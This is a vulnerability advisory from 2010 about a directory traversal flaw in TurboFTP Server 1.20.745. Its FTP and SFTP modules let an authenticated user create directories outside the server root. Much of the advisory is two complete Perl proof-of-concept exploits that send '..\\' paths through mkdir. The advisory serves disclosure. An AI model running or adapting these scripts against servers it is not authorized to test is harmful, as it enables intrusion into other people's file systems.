TurboFTP Server Directory Traversal Vulnerability

[leinakesi@xxxxxxxxx]

Date of Discovery:
17-Jun-2010

Credits:
leinakesi[at]gmail.com

Vendor: 
Turbo FTP Server

Affected:
Turbo FTP Server 1.20.745. 
Earlier versions may also be affected.

Overview:
1.vendor description of software
------------------------------------------------
TurboFTP Server is a high performance, secure, scalable and management friendly 
file transfer server running on Windows platforms. With it you can easily set 
up a secure file transfer server that delivers regular FTP, FTP over SSL/TLS, 
and "SFTP over SSH" services with virtual domains, advanced directory access 
control, virtual folders, IP access control, flexible authentication options 
and many other features.
2.vulnerability details:
------------------------------------------------
Directory Traversal Vulnerability exists in "FTP" and "SFTP" module of Turbo 
FTP Server that allows an authenticated user to create directories outside the 
root directory, which may lead to other attacks.

If you could log on the server successfully,
take the following steps to create folders outside the sftp root directory:
1.      $ssh2 = Net::SSH2->new();
2.      $ssh2->connect($server, $port);
3.      $ssh2->auth_password($user, $pass);
4.      $sftp = $ssh2->sftp();
5.      $m = $sftp->mkdir("..\\A\\");
6.      $ssh2->disconnect();

take the following steps to create folders outside the ftp root directory:
1.      $ftp = Net::FTP->new($server, Debug => 0);      
2.      $ftp->login($user, $pass);
3.      $ftp->mkdir("..\\AA");
4.      $ftp->quit;

Severity:
Medium
--------------------------------------------------------------------
Exploit example_1=======>sftp module:

#!/usr/bin/perl
#leinakesi[at]gmail.com
#turboFTP Server(sftp module) directory traversal vulnerability

use Net::SSH2;
use Getopt::Std;


@FUZZ = ("..\\A\\", "..\\AA"); 
getopts('S:P:u:p:', \%opts);
$server = $opts{'S'}; $port = $opts{'P'}; $user = $opts{'u'}; $pass = 
$opts{'p'};

if(!defined($server) || !defined($port) || !defined($user) || !defined($pass) )
{
        print "usage:\n\tperl   test.pl -S [IP] -P [port] -u [user] -p 
[password]\nexample:\n";
        print "\tperl   test.pl -S 192.168.48.114 -P 22 -u chloe -p 111111\n";
        exit(0);
}

$ssh2 = Net::SSH2->new();
$ssh2->connect($server, $port) || die "can not connect the server, please 
check.\n";
$ssh2->auth_password($user, $pass) || die "you sure user name and password are 
correct?\n";
$sftp = $ssh2->sftp();

foreach(@FUZZ)
{
        if($m = $sftp->mkdir($_))
        {
                print "mkdir success,  $_\n";
        }
}

$ssh2->disconnect();
exit(0);

--------------------------------------------------------------------
Exploit example_2=======>ftp module:

#!/usr/bin/perl
#leinakesi[at]gmail.com
#turboFTP Server(ftp module) directory traversal vulnerability

use Net::FTP;
use Getopt::Std;

getopts('S:P:u:p:', \%opts);
$server = $opts{'S'}; $port = $opts{'P'}; $user = $opts{'u'}; $pass = 
$opts{'p'};

if(!defined($server) || !defined($port) || !defined($user) || !defined($pass) )
{
        print "usage:\n\tperl   test.pl -S [IP] -P [port] -u [user] -p 
[password]\nexample:\n";
        print "\tperl   test.pl -S 192.168.48.114 -P 22 -u chloe -p 111111\n";
        exit(0);
}

$ftp = Net::FTP->new($server, Debug => 0) or die "Cannot connect to 
some.host.name: $@";
$ftp->login($user, $pass) or die "Cannot login ", $ftp->message;
$ftp->mkdir("..\\AA") or die "Cannot change working directory ", $ftp->message;
$ftp->quit;
exit(0);